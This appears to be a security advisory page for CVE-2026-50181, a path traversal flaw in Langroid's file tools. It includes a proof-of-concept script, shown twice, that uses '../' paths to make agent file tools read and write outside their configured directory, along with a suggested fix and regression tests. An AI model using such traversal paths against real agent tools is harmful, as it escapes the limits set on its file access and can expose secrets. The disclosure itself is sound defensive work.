CVE-2026-50181: Langroid Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-fg23-3346-88f5
CVSS 7.1
CWE-23 CWE-22
Published
Advisory Summary

CVE-2026-50181 is a HIGH (CVSS 7.1) path traversal vulnerability (CWE-23: Relative Path Traversal) affecting Langroid libraries in the PyPI ecosystem. The issue involves path traversal in the file tools allows read/write outside configured current directory. Remediation is available by upgrading affected packages to version 0.64.0.

CVE-2026-50181 at a Glance

CVE Identifier CVE-2026-50181
GHSA Identifier GHSA-fg23-3346-88f5
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-23: Relative Path Traversal
Affected Product Langroid
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-50181

To remediate this vulnerability, upgrade all affected Langroid dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

langroid fixed: 0.64.0
pip install langroid>=0.64.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show langroid

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-50181, inspect your installed packages using pip:

pip show langroid

Analyze the terminal output to locate any version of Langroid in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.64.0), your application is affected.

Note: The pip show langroid command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In Langroid, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Langroid's `ReadFileTool` and `WriteFileTool` appear to treat `curr_dir` as the intended working-directory boundary for file operations. However, the tools only change the process working directory to `curr_dir` and then operate on the user-supplied `file_path` without resolving and enforcing that the final path remains inside `curr_dir`. As a result, a tool caller can supply path traversal sequences such as `../secret.txt` to read files outside the configured current directory, or `../written_by_tool.txt` to write files outside that directory. This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on `curr_dir` to restrict file access to a project/workspace directory. ### Details Affected components: - `langroid/agent/tools/file_tools.py` - `langroid/utils/system.py` Relevant behavior observed: `ReadFileTool` contains a comment indicating the intended assumption: ```text # ASSUME: file_path should be relative to the curr_dir The tool then changes into the configured current directory and calls read_file(self.file_path). WriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content). The issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir. In local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory. PoC Tested locally against the current Langroid repository checkout. Environment: Python 3.12 Langroid installed in editable mode with pip install -e . PoC script: from pathlib import Path from tempfile import TemporaryDirectory import os os.environ["docker"] = "false" os.environ["DOCKER"] = "false" from langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool class DummyIndex: def add(self, files): print("dummy git add:", files) def commit(self, message): print("dummy git commit:", message) class DummyRepo: index = DummyIndex() with TemporaryDirectory() as root: base = Path(root) sandbox = base / "sandbox" sandbox.mkdir() secret = base / "secret.txt" secret.write_text("LANGROID_TOOL_ESCAPE_PROOF", encoding="utf-8") ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox) read_tool = ReadSandbox(file_path="../secret.txt") print("READ TOOL RESULT:") print(read_tool.handle()) WriteSandbox = WriteFileTool.create( get_curr_dir=lambda: sandbox, get_git_repo=lambda: DummyRepo(), ) write_tool = WriteSandbox( file_path="../written_by_tool.txt", content="WRITTEN_BY_LANGROID_TOOL", language="text", ) print("WRITE TOOL RESULT:") print(write_tool.handle()) outside = base / "written_by_tool.txt" print("outside exists:", outside.exists()) print("outside content:", outside.read_text(encoding="utf-8")) Observed output: READ TOOL RESULT: CONTENTS of ../secret.txt: (Line numbers added for reference only!) --------------------------- 1: LANGROID_TOOL_ESCAPE_PROOF WRITE TOOL RESULT: Content created/updated in: ..\written_by_tool.txt dummy git add: ['../written_by_tool.txt'] dummy git commit: Agent write file tool Content written to ../written_by_tool.txt and committed outside exists: True outside content: WRITTEN_BY_LANGROID_TOOL This demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal. Impact If an application enables Langroid's file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary. Potential impact includes: Reading files outside the intended workspace. Writing files outside the intended workspace. Exposing local secrets, configuration files, source files, environment files, or other project-adjacent files. Modifying files outside the intended project directory if WriteFileTool is enabled. This is especially relevant in agentic workflows where an LLM or external user can influence tool arguments. This report does not claim unauthenticated remote exploitation by default. The impact depends on how an application exposes Langroid file tools and whether curr_dir is intended to restrict file access. Suggested remediation Before reading, writing, or listing files, resolve the configured base directory and the requested target path, then reject any path that escapes the base directory. Example patch pattern: from pathlib import Path def safe_join(base_dir: str | Path, user_path: str | Path) -> Path: base = Path(base_dir).resolve() target = (base / user_path).resolve() if target != base and base not in target.parents: raise ValueError("Path escapes configured current directory") return target Then use the resolved safe path for ReadFileTool, WriteFileTool, and ListDirTool. Suggested regression tests: ReadFileTool(file_path="../secret.txt") should be rejected. WriteFileTool(file_path="../outside.txt") should be rejected. Absolute paths outside curr_dir should be rejected. Symlink-based escapes should be rejected after final path resolution. Normal relative paths inside curr_dir, such as src/main.py, should continue to work. [Langroid CVE Report.pdf](https://github.com/user-attachments/files/28333958/Langroid.CVE.Report.pdf)

CVE-2026-50181 Affected Langroid Versions

1 component(s)
Fixed Versions:
0.64.0
Product / Package Ecosystem Affected Versions Fixed Version
langroid
PyPI
< 0.64.0
0.64.0

References

Frequently Asked Questions

What is CVE-2026-50181?
CVE-2026-50181 is a security vulnerability in Langroid involving Path traversal in the file tools allows read/write outside configured current directory under CWE-23: Relative Path Traversal.
Which Langroid versions are affected?
Affected versions include releases prior to 0.64.0 across affected packages: langroid.
What version fixes CVE-2026-50181?
Upgrading to 0.64.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is langroid affected?
Yes, langroid is affected in releases prior to 0.64.0. Upgrade your dependency to 0.64.0 or later.
What is the CVSS score of CVE-2026-50181?
CVE-2026-50181 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-50181?
CVE-2026-50181 is classified under CWE-23: Relative Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.).
How can I check PyPI dependencies for CVE-2026-50181?
Run the dependency tree command: 'pip show langroid'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fg23-3346-88f5",
  "modified" : "2026-07-02T17:38:04Z",
  "published" : "2026-07-02T17:38:03Z",
  "aliases" : [ "CVE-2026-50181" ],
  "summary" : "Langroid: Path traversal in the file tools allows read/write outside configured current directory",
  "details" : "### Summary\n\nLangroid's `ReadFileTool` and `WriteFileTool` appear to treat `curr_dir` as the intended working-directory boundary for file operations. However, the tools only change the process working directory to `curr_dir` and then operate on the user-supplied `file_path` without resolving and enforcing that the final path remains inside `curr_dir`.\n\nAs a result, a tool caller can supply path traversal sequences such as `../secret.txt` to read files outside the configured current directory, or `../written_by_tool.txt` to write files outside that directory.\n\nThis can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on `curr_dir` to restrict file access to a project/workspace directory.\n\n### Details\n\nAffected components:\n\n- `langroid/agent/tools/file_tools.py`\n- `langroid/utils/system.py`\n\nRelevant behavior observed:\n\n`ReadFileTool` contains a comment indicating the intended assumption:\n\n```text\n# ASSUME: file_path should be relative to the curr_dir\n\nThe tool then changes into the configured current directory and calls read_file(self.file_path).\n\nWriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content).\n\nThe issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir.\n\nIn local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory.\n\nPoC\n\nTested locally against the current Langroid repository checkout.\n\nEnvironment:\n\nPython 3.12\nLangroid installed in editable mode with pip install -e .\n\nPoC script:\n\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nimport os\n\nos.environ[\"docker\"] = \"false\"\nos.environ[\"DOCKER\"] = \"false\"\n\nfrom langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool\n\n\nclass DummyIndex:\n    def add(self, files):\n        print(\"dummy git add:\", files)\n\n    def commit(self, message):\n        print(\"dummy git commit:\", message)\n\n\nclass DummyRepo:\n    index = DummyIndex()\n\n\nwith TemporaryDirectory() as root:\n    base = Path(root)\n    sandbox = base / \"sandbox\"\n    sandbox.mkdir()\n\n    secret = base / \"secret.txt\"\n    secret.write_text(\"LANGROID_TOOL_ESCAPE_PROOF\", encoding=\"utf-8\")\n\n    ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox)\n    read_tool = ReadSandbox(file_path=\"../secret.txt\")\n\n    print(\"READ TOOL RESULT:\")\n    print(read_tool.handle())\n\n    WriteSandbox = WriteFileTool.create(\n        get_curr_dir=lambda: sandbox,\n        get_git_repo=lambda: DummyRepo(),\n    )\n\n    write_tool = WriteSandbox(\n        file_path=\"../written_by_tool.txt\",\n        content=\"WRITTEN_BY_LANGROID_TOOL\",\n        language=\"text\",\n    )\n\n    print(\"WRITE TOOL RESULT:\")\n    print(write_tool.handle())\n\n    outside = base / \"written_by_tool.txt\"\n    print(\"outside exists:\", outside.exists())\n    print(\"outside content:\", outside.read_text(encoding=\"utf-8\"))\n\nObserved output:\n\nREAD TOOL RESULT:\n\n    CONTENTS of ../secret.txt:\n    (Line numbers added for reference only!)\n    ---------------------------\n    1: LANGROID_TOOL_ESCAPE_PROOF\n\nWRITE TOOL RESULT:\nContent created/updated in: ..\\written_by_tool.txt\ndummy git add: ['../written_by_tool.txt']\ndummy git commit: Agent write file tool\nContent written to ../written_by_tool.txt and committed\noutside exists: True\noutside content: WRITTEN_BY_LANGROID_TOOL\n\nThis demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal.\n\nImpact\n\nIf an application enables Langroid's file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary.\n\nPotential impact includes:\n\nReading files outside the intended workspace.\nWriting files outside the intended workspace.\nExposing local secrets, configuration files, source files, environment files, or other project-adjacent files.\nModifying files outside the intended project directory if WriteFileTool is enabled.\n\nThis is especially relevant in agentic workflows where an LLM or external user can influence tool arguments.\n\nThis report does not claim unauthenticated remote exploitation by default. The impact depends on how an application exposes Langroid file tools and whether curr_dir is intended to restrict file access.\n\nSuggested remediation\n\nBefore reading, writing, or listing files, resolve the configured base directory and the requested target path, then reject any path that escapes the base directory.\n\nExample patch pattern:\n\nfrom pathlib import Path\n\ndef safe_join(base_dir: str | Path, user_path: str | Path) -> Path:\n    base = Path(base_dir).resolve()\n    target = (base / user_path).resolve()\n\n    if target != base and base not in target.parents:\n        raise ValueError(\"Path escapes configured current directory\")\n\n    return target\n\nThen use the resolved safe path for ReadFileTool, WriteFileTool, and ListDirTool.\n\nSuggested regression tests:\n\nReadFileTool(file_path=\"../secret.txt\") should be rejected.\nWriteFileTool(file_path=\"../outside.txt\") should be rejected.\nAbsolute paths outside curr_dir should be rejected.\nSymlink-based escapes should be rejected after final path resolution.\nNormal relative paths inside curr_dir, such as src/main.py, should continue to work.\n\n[Langroid CVE Report.pdf](https://github.com/user-attachments/files/28333958/Langroid.CVE.Report.pdf)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "langroid"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.64.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.63.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/langroid/langroid/security/advisories/GHSA-fg23-3346-88f5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langroid/langroid/commit/56e2756ecab70a70a7e6edbee2f2187b8484683e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/langroid/langroid"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-23" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-02T17:38:03Z",
    "nvd_published_at" : null
  }
}